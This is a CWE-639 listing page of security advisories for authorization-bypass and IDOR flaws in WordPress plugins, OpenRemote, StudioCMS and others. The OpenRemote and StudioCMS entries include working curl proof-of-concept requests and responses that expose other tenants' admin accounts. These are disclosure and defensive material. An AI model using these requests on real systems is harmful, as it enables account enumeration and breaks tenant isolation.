Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

3206 vulnerabilities reference this CWE, most recent first.

GHSA-XQQC-58QJ-9W8R

Vulnerability from github – Published: 2026-04-24 06:31 – Updated: 2026-04-24 06:31
VLAI
Details

The MaxiBlocks Builder plugin for WordPress is vulnerable to arbitrary media file deletion due to insufficient file ownership validation on the 'maxi_remove_custom_image_size' AJAX action in all versions up to, and including, 2.1.8. This makes it possible for authenticated attackers, with Author-level access and above, to delete arbitrary files in the wp-content/uploads directory, including files uploaded by other users and administrators.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-2028"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-24T04:16:09Z",
    "severity": "MODERATE"
  },
  "details": "The MaxiBlocks Builder plugin for WordPress is vulnerable to arbitrary media file deletion due to insufficient file ownership validation on the \u0027maxi_remove_custom_image_size\u0027 AJAX action in all versions up to, and including, 2.1.8. This makes it possible for authenticated attackers, with Author-level access and above, to delete arbitrary files in the wp-content/uploads directory, including files uploaded by other users and administrators.",
  "id": "GHSA-xqqc-58qj-9w8r",
  "modified": "2026-04-24T06:31:16Z",
  "published": "2026-04-24T06:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2028"
    },
    {
      "type": "WEB",
      "url": "https://github.com/maxi-blocks/maxi-blocks/commit/3dff1db57bfb4e6c14fa7fd42037178d1d0ce199"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/2.1.7/core/class-maxi-image-crop.php#L44"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/trunk/core/class-maxi-image-crop.php#L44"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3476709/maxi-blocks/trunk/core/class-maxi-image-crop.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3476709%40maxi-blocks\u0026new=3476709%40maxi-blocks\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f50c31df-56d0-4c34-a93c-56198fe91b36?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQR9-4WVV-GVCH

Vulnerability from github – Published: 2026-07-06 20:47 – Updated: 2026-07-06 20:47
VLAI
Summary
OpenRemote has Cross-Realm User Information Disclosure in UserResourceImpl
Details

Summary

A realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user's UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller's own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin.

Details

The affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java.

Three methods are missing an authenticated-realm guard:

get (line 102):

public User get(RequestParams requestParams, String realm, String userId) {
    boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
    if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
        throw new ForbiddenException("...");
    }
    try {
        return identityService.getIdentityProvider().getUser(userId);
    } ...
}

The realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter.

getUserClientRoles (line 294):

public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) {
    boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
    if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
        throw new ForbiddenException("...");
    }
    try {
        return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId);
    } ...
}

getUserRealmRoles (line 313):

public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) {
    boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
    if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
        throw new ForbiddenException("...");
    }
    try {
        return identityService.getIdentityProvider().getUserRealmRoles(realm, userId);
    } ...
}

By contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths.

The existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD.

PoC

Prerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId.

Step 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin).

Step 2. Obtain an access token for the tenantb admin:

TENANTB_TOKEN=$(curl -s -X POST \
  "https://<host>/auth/realms/tenantb/protocol/openid-connect/token" \
  -d "client_id=openremote&grant_type=password&username=tenantb_admin&password=TenantB123!" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

Step 3. Read a master-realm user profile using the tenantb token:

curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
  "https://<host>/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e"

Observed response from the live test instance (commit 22a42a7, 2026-06-04):

{"realm":"master","realmId":"104856cd-ae5b-4a2d-917a-7e7f700561c8",
 "id":"f05e9eb4-0de6-45a6-9dc5-088402465e4e",
 "firstName":"System","lastName":"Administrator",
 "enabled":true,"createdOn":1780550421390,
 "serviceAccount":false,"username":"admin"}
HTTP 200

Step 4. Read master-admin realm roles:

curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
  "https://<host>/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e"

Observed response:

["admin"]
HTTP 200

Step 5. Read master-admin client roles:

curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
  "https://<host>/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote"

Observed response:

["read:alarms","read:logs","write:logs","read:admin","write:insights","read:services",
 "write:alarms","write:attributes","write:services","write:user","write:assets",
 "read:insights","read:map","read:users","read:assets","read:rules","write",
 "write:admin","read","write:rules"]
HTTP 200

All three requests succeed with a tenantb-scoped token against master-realm targets. The HTTP 200 responses confirm the cross-realm boundary is crossed.

A fix would add throwIfCannotAdminRealm(realm) (or an equivalent isRealmAccessibleByUser check) to the three read methods, mirroring the pattern already applied to the write methods.

Impact

Any realm admin (write:admin + read:admin roles) in a non-master tenant can enumerate user accounts, email addresses, enabled/disabled status, and the full set of Keycloak roles for any user in any other realm, including the privileged master realm. This exposes admin account identities and role assignments that would assist targeted attacks (credential stuffing, social engineering, escalation via the already-documented write path). On hosted or shared OpenRemote deployments where multiple organizations are separated into different realms, this breaks tenant isolation for user data.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.openremote:openremote-manager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.24.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-06T20:47:57Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user\u0027s UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller\u0027s own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin.\n\n### Details\n\nThe affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java.\n\nThree methods are missing an authenticated-realm guard:\n\nget (line 102):\n\n    public User get(RequestParams requestParams, String realm, String userId) {\n        boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);\n        if (!hasAdminReadRole \u0026\u0026 !Objects.equals(getUserId(), userId)) {\n            throw new ForbiddenException(\"...\");\n        }\n        try {\n            return identityService.getIdentityProvider().getUser(userId);\n        } ...\n    }\n\nThe realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter.\n\ngetUserClientRoles (line 294):\n\n    public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) {\n        boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);\n        if (!hasAdminReadRole \u0026\u0026 !Objects.equals(getUserId(), userId)) {\n            throw new ForbiddenException(\"...\");\n        }\n        try {\n            return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId);\n        } ...\n    }\n\ngetUserRealmRoles (line 313):\n\n    public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) {\n        boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);\n        if (!hasAdminReadRole \u0026\u0026 !Objects.equals(getUserId(), userId)) {\n            throw new ForbiddenException(\"...\");\n        }\n        try {\n            return identityService.getIdentityProvider().getUserRealmRoles(realm, userId);\n        } ...\n    }\n\nBy contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths.\n\nThe existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD.\n\n### PoC\n\nPrerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId.\n\nStep 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin).\n\nStep 2. Obtain an access token for the tenantb admin:\n\n    TENANTB_TOKEN=$(curl -s -X POST \\\n      \"https://\u003chost\u003e/auth/realms/tenantb/protocol/openid-connect/token\" \\\n      -d \"client_id=openremote\u0026grant_type=password\u0026username=tenantb_admin\u0026password=TenantB123!\" \\\n      | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027access_token\u0027])\")\n\nStep 3. Read a master-realm user profile using the tenantb token:\n\n    curl -s -H \"Authorization: Bearer $TENANTB_TOKEN\" \\\n      \"https://\u003chost\u003e/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e\"\n\nObserved response from the live test instance (commit 22a42a7, 2026-06-04):\n\n    {\"realm\":\"master\",\"realmId\":\"104856cd-ae5b-4a2d-917a-7e7f700561c8\",\n     \"id\":\"f05e9eb4-0de6-45a6-9dc5-088402465e4e\",\n     \"firstName\":\"System\",\"lastName\":\"Administrator\",\n     \"enabled\":true,\"createdOn\":1780550421390,\n     \"serviceAccount\":false,\"username\":\"admin\"}\n    HTTP 200\n\nStep 4. Read master-admin realm roles:\n\n    curl -s -H \"Authorization: Bearer $TENANTB_TOKEN\" \\\n      \"https://\u003chost\u003e/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e\"\n\nObserved response:\n\n    [\"admin\"]\n    HTTP 200\n\nStep 5. Read master-admin client roles:\n\n    curl -s -H \"Authorization: Bearer $TENANTB_TOKEN\" \\\n      \"https://\u003chost\u003e/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote\"\n\nObserved response:\n\n    [\"read:alarms\",\"read:logs\",\"write:logs\",\"read:admin\",\"write:insights\",\"read:services\",\n     \"write:alarms\",\"write:attributes\",\"write:services\",\"write:user\",\"write:assets\",\n     \"read:insights\",\"read:map\",\"read:users\",\"read:assets\",\"read:rules\",\"write\",\n     \"write:admin\",\"read\",\"write:rules\"]\n    HTTP 200\n\nAll three requests succeed with a tenantb-scoped token against master-realm targets. The HTTP 200 responses confirm the cross-realm boundary is crossed.\n\nA fix would add throwIfCannotAdminRealm(realm) (or an equivalent isRealmAccessibleByUser check) to the three read methods, mirroring the pattern already applied to the write methods.\n\n### Impact\n\nAny realm admin (write:admin + read:admin roles) in a non-master tenant can enumerate user accounts, email addresses, enabled/disabled status, and the full set of Keycloak roles for any user in any other realm, including the privileged master realm. This exposes admin account identities and role assignments that would assist targeted attacks (credential stuffing, social engineering, escalation via the already-documented write path). On hosted or shared OpenRemote deployments where multiple organizations are separated into different realms, this breaks tenant isolation for user data.",
  "id": "GHSA-xqr9-4wvv-gvch",
  "modified": "2026-07-06T20:47:57Z",
  "published": "2026-07-06T20:47:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openremote/openremote/security/advisories/GHSA-xqr9-4wvv-gvch"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openremote/openremote/commit/de89b8d3af272d717bf297934c2cbc97243f08b7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openremote/openremote"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenRemote has Cross-Realm User Information Disclosure in UserResourceImpl"
}

GHSA-XR34-4J63-XFH6

Vulnerability from github – Published: 2026-06-26 15:32 – Updated: 2026-06-26 15:32
VLAI
Details

Contributor Insecure Direct Object References (IDOR) in PPWP <= 1.9.19 versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-57634"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-26T15:16:50Z",
    "severity": "MODERATE"
  },
  "details": "Contributor Insecure Direct Object References (IDOR) in PPWP \u003c= 1.9.19 versions.",
  "id": "GHSA-xr34-4j63-xfh6",
  "modified": "2026-06-26T15:32:17Z",
  "published": "2026-06-26T15:32:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57634"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/password-protect-page/vulnerability/wordpress-ppwp-plugin-1-9-19-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XRVF-M29V-829X

Vulnerability from github – Published: 2023-07-06 21:15 – Updated: 2024-04-04 05:48
VLAI
Details

An Authorization Bypass vulnerability was found in MB Connect Lines mbCONNECT24, mymbCONNECT24 and Helmholz' myREX24 and myREX24.virtual version <= 2.13.3. An authenticated remote user with low privileges can change the password of any user in the same account. This allows to take over the admin user and therefore fully compromise the account.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-0985"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-06T11:15:09Z",
    "severity": "HIGH"
  },
  "details": "An Authorization Bypass vulnerability was found in MB Connect Lines\u00a0mbCONNECT24, mymbCONNECT24 and Helmholz\u0027 myREX24 and myREX24.virtual version \u003c= 2.13.3.\u00a0An authenticated remote user with low privileges can change the password of any user in the same account. This allows to take over the admin user and therefore fully compromise the account.",
  "id": "GHSA-xrvf-m29v-829x",
  "modified": "2024-04-04T05:48:51Z",
  "published": "2023-07-06T21:15:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0985"
    },
    {
      "type": "WEB",
      "url": "https://cert.vde.com/en/advisories/VDE-2023-002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XV2W-X5XM-9J74

Vulnerability from github – Published: 2022-12-12 18:30 – Updated: 2022-12-15 00:30
VLAI
Details

The Directorist WordPress plugin before 7.4.2.2 suffers from an IDOR vulnerability which an attacker can exploit to change the password of arbitrary users instead of his own.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-3930"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-12T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Directorist WordPress plugin before 7.4.2.2 suffers from an IDOR vulnerability which an attacker can exploit to change the password of arbitrary users instead of his own.",
  "id": "GHSA-xv2w-x5xm-9j74",
  "modified": "2022-12-15T00:30:16Z",
  "published": "2022-12-12T18:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3930"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/8728d02a-51db-4447-a843-0264b6ceb413"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XV75-C298-2V8F

Vulnerability from github – Published: 2022-05-24 17:24 – Updated: 2024-04-04 02:55
VLAI
Details

iked in OpenIKED, as used in OpenBSD through 6.7, allows authentication bypass because ca.c has the wrong logic for checking whether a public key matches.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-16088"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-07-28T12:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "iked in OpenIKED, as used in OpenBSD through 6.7, allows authentication bypass because ca.c has the wrong logic for checking whether a public key matches.",
  "id": "GHSA-xv75-c298-2v8f",
  "modified": "2024-04-04T02:55:20Z",
  "published": "2022-05-24T17:24:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-16088"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openbsd/src/commit/7afb2d41c6d373cf965285840b85c45011357115"
    },
    {
      "type": "WEB",
      "url": "https://ftp.openbsd.org/pub/OpenBSD/patches/6.7/common/014_iked.patch.sig"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xcllnt/openiked/commits/master"
    },
    {
      "type": "WEB",
      "url": "https://www.openiked.org/security.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XV8M-JW66-QJXM

Vulnerability from github – Published: 2025-09-30 12:30 – Updated: 2025-10-08 18:30
VLAI
Details

Insecure Direct Object Reference (IDOR) vulnerability in BOLD Workplanner in versions prior to 2.5.25 (4935b438f9b), consisting of a lack of adequate validation of user input, allowing an authenticated user to access to basic contract details using unauthorised internal identifiers.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-41093"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-30T11:37:39Z",
    "severity": "HIGH"
  },
  "details": "Insecure Direct Object Reference (IDOR) vulnerability in BOLD Workplanner in versions prior to 2.5.25 (4935b438f9b), consisting of a lack of adequate validation of user input, allowing an authenticated user to\u00a0access to\u00a0basic contract details using unauthorised internal identifiers.",
  "id": "GHSA-xv8m-jw66-qjxm",
  "modified": "2025-10-08T18:30:15Z",
  "published": "2025-09-30T12:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41093"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/insecure-direct-object-reference-gps-bold-workplanner"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XVF4-CH4Q-2M24

Vulnerability from github – Published: 2026-03-16 16:37 – Updated: 2026-03-18 21:51
VLAI
Summary
StudioCMS REST getUsers Exposes Owner Account Records to Admin Tokens
Details

Summary

The REST API getUsers endpoint in StudioCMS uses the attacker-controlled rank query parameter to decide whether owner accounts should be filtered from the result set. As a result, an admin token can request rank=owner and receive owner account records, including IDs, usernames, display names, and email addresses, even though the adjacent getUser endpoint correctly blocks admins from viewing owner users. This is an authorization inconsistency inside the same user-management surface.

Details

Vulnerable Code Path

File: D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts, lines 1605-1647

.handle(
    'getUsers',
    Effect.fn(
        function* ({ urlParams: { name, rank, username } }) {
            if (!restAPIEnabled) {
                return yield* new RestAPIError({ error: 'Endpoint not found' });
            }
            const [sdk, user] = yield* Effect.all([SDKCore, CurrentRestAPIUser]);

            if (user.rank !== 'owner' && user.rank !== 'admin') {
                return yield* new RestAPIError({ error: 'Unauthorized' });
            }

            const allUsers = yield* sdk.GET.users.all();
            let data = allUsers.map(...);

            if (rank !== 'owner') {
                data = data.filter((user) => user.rank !== 'owner');
            }

            if (rank) {
                data = data.filter((user) => user.rank === rank);
            }

            return data;
        },

The rank variable in if (rank !== 'owner') is the request query parameter, not the caller's privilege level. An admin can therefore pass rank=owner, skip the owner-filtering branch, and then have the second if (rank) branch return only owner accounts.

Adjacent Endpoint Shows Intended Security Boundary

File: D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts, lines 1650-1710

const existingUserRankIndex = availablePermissionRanks.indexOf(existingUserRank);
const loggedInUserRankIndex = availablePermissionRanks.indexOf(user.rank);

if (loggedInUserRankIndex <= existingUserRankIndex) {
    return yield* new RestAPIError({
        error: 'Unauthorized to view user with higher rank',
    });
}

getUser correctly blocks an admin from viewing an owner record. getUsers bypasses that boundary for bulk enumeration.

Sensitive Fields Returned

The getUsers response includes:

  • id
  • email
  • name
  • username
  • rank
  • timestamps and profile URL/avatar fields when present

This is enough to enumerate all owner accounts and target them for phishing, social engineering, or follow-on attacks against out-of-band workflows.

PoC

HTTP PoC

Use any admin-level REST API token:

curl -X GET 'http://localhost:4321/studiocms_api/rest/v1/secure/users?rank=owner' \
  -H 'Authorization: Bearer <admin-api-token>'

Expected behavior: - owner records should be excluded for admin callers, consistent with getUser

Actual behavior: - the response contains owner user objects, including email addresses and user IDs

Local Validation of the Exact Handler Logic

I validated the filtering logic locally with the same conditions used by getUsers and getUser.

Observed output:

{
  "admin_getUsers_rank_owner": [
    {
      "email": "owner@example.test",
      "id": "owner-1",
      "name": "Site Owner",
      "rank": "owner",
      "username": "owner1"
    }
  ],
  "admin_getUser_owner": "Unauthorized to view user with higher rank"
}

This demonstrates the authorization mismatch clearly: - bulk listing with rank=owner exposes owner records - direct access to a single owner record is denied

Impact

  • Owner Account Enumeration: Admin tokens can recover owner user IDs, usernames, display names, and email addresses.
  • Authorization Boundary Bypass: The REST collection endpoint bypasses the stricter per-record rank check already implemented by getUser.
  • Chaining Value: Exposed owner contact data can support phishing, account-targeting, and admin-to-owner pivot attempts in deployments that treat owner identities as higher-trust principals.

Recommended Fix

Apply rank filtering based on the caller's role, not on the request query parameter, and reuse the same privilege rule as getUser.

Example fix:

const loggedInUserRankIndex = availablePermissionRanks.indexOf(user.rank);

data = data.filter((candidate) => {
    const candidateRankIndex = availablePermissionRanks.indexOf(candidate.rank);
    return loggedInUserRankIndex > candidateRankIndex;
});

if (rank) {
    data = data.filter((candidate) => candidate.rank === rank);
}

At minimum, replace:

if (rank !== 'owner') {
    data = data.filter((user) => user.rank !== 'owner');
}

with a check tied to user.rank rather than the query parameter.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "studiocms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32638"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T16:37:42Z",
    "nvd_published_at": "2026-03-18T21:16:26Z",
    "severity": "LOW"
  },
  "details": "## Summary\n\nThe REST API `getUsers` endpoint in StudioCMS uses the attacker-controlled `rank` query parameter to decide whether owner accounts should be filtered from the result set. As a result, an admin token can request `rank=owner` and receive owner account records, including IDs, usernames, display names, and email addresses, even though the adjacent `getUser` endpoint correctly blocks admins from viewing owner users. This is an authorization inconsistency inside the same user-management surface.\n\n## Details\n\n### Vulnerable Code Path\n\nFile: `D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts`, lines 1605-1647\n\n```ts\n.handle(\n    \u0027getUsers\u0027,\n    Effect.fn(\n        function* ({ urlParams: { name, rank, username } }) {\n            if (!restAPIEnabled) {\n                return yield* new RestAPIError({ error: \u0027Endpoint not found\u0027 });\n            }\n            const [sdk, user] = yield* Effect.all([SDKCore, CurrentRestAPIUser]);\n\n            if (user.rank !== \u0027owner\u0027 \u0026\u0026 user.rank !== \u0027admin\u0027) {\n                return yield* new RestAPIError({ error: \u0027Unauthorized\u0027 });\n            }\n\n            const allUsers = yield* sdk.GET.users.all();\n            let data = allUsers.map(...);\n\n            if (rank !== \u0027owner\u0027) {\n                data = data.filter((user) =\u003e user.rank !== \u0027owner\u0027);\n            }\n\n            if (rank) {\n                data = data.filter((user) =\u003e user.rank === rank);\n            }\n\n            return data;\n        },\n```\n\nThe `rank` variable in `if (rank !== \u0027owner\u0027)` is the request query parameter, not the caller\u0027s privilege level. An admin can therefore pass `rank=owner`, skip the owner-filtering branch, and then have the second `if (rank)` branch return only owner accounts.\n\n### Adjacent Endpoint Shows Intended Security Boundary\n\nFile: `D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts`, lines 1650-1710\n\n```ts\nconst existingUserRankIndex = availablePermissionRanks.indexOf(existingUserRank);\nconst loggedInUserRankIndex = availablePermissionRanks.indexOf(user.rank);\n\nif (loggedInUserRankIndex \u003c= existingUserRankIndex) {\n    return yield* new RestAPIError({\n        error: \u0027Unauthorized to view user with higher rank\u0027,\n    });\n}\n```\n\n`getUser` correctly blocks an admin from viewing an owner record. `getUsers` bypasses that boundary for bulk enumeration.\n\n### Sensitive Fields Returned\n\nThe `getUsers` response includes:\n\n- `id`\n- `email`\n- `name`\n- `username`\n- `rank`\n- timestamps and profile URL/avatar fields when present\n\nThis is enough to enumerate all owner accounts and target them for phishing, social engineering, or follow-on attacks against out-of-band workflows.\n\n## PoC\n\n### HTTP PoC\n\nUse any admin-level REST API token:\n\n```bash\ncurl -X GET \u0027http://localhost:4321/studiocms_api/rest/v1/secure/users?rank=owner\u0027 \\\n  -H \u0027Authorization: Bearer \u003cadmin-api-token\u003e\u0027\n```\n\nExpected behavior:\n- owner records should be excluded for admin callers, consistent with `getUser`\n\nActual behavior:\n- the response contains owner user objects, including email addresses and user IDs\n\n### Local Validation of the Exact Handler Logic\n\nI validated the filtering logic locally with the same conditions used by `getUsers` and `getUser`.\n\nObserved output:\n\n```json\n{\n  \"admin_getUsers_rank_owner\": [\n    {\n      \"email\": \"owner@example.test\",\n      \"id\": \"owner-1\",\n      \"name\": \"Site Owner\",\n      \"rank\": \"owner\",\n      \"username\": \"owner1\"\n    }\n  ],\n  \"admin_getUser_owner\": \"Unauthorized to view user with higher rank\"\n}\n```\n\nThis demonstrates the authorization mismatch clearly:\n- bulk listing with `rank=owner` exposes owner records\n- direct access to a single owner record is denied\n\n## Impact\n\n- **Owner Account Enumeration:** Admin tokens can recover owner user IDs, usernames, display names, and email addresses.\n- **Authorization Boundary Bypass:** The REST collection endpoint bypasses the stricter per-record rank check already implemented by `getUser`.\n- **Chaining Value:** Exposed owner contact data can support phishing, account-targeting, and admin-to-owner pivot attempts in deployments that treat owner identities as higher-trust principals.\n\n## Recommended Fix\n\nApply rank filtering 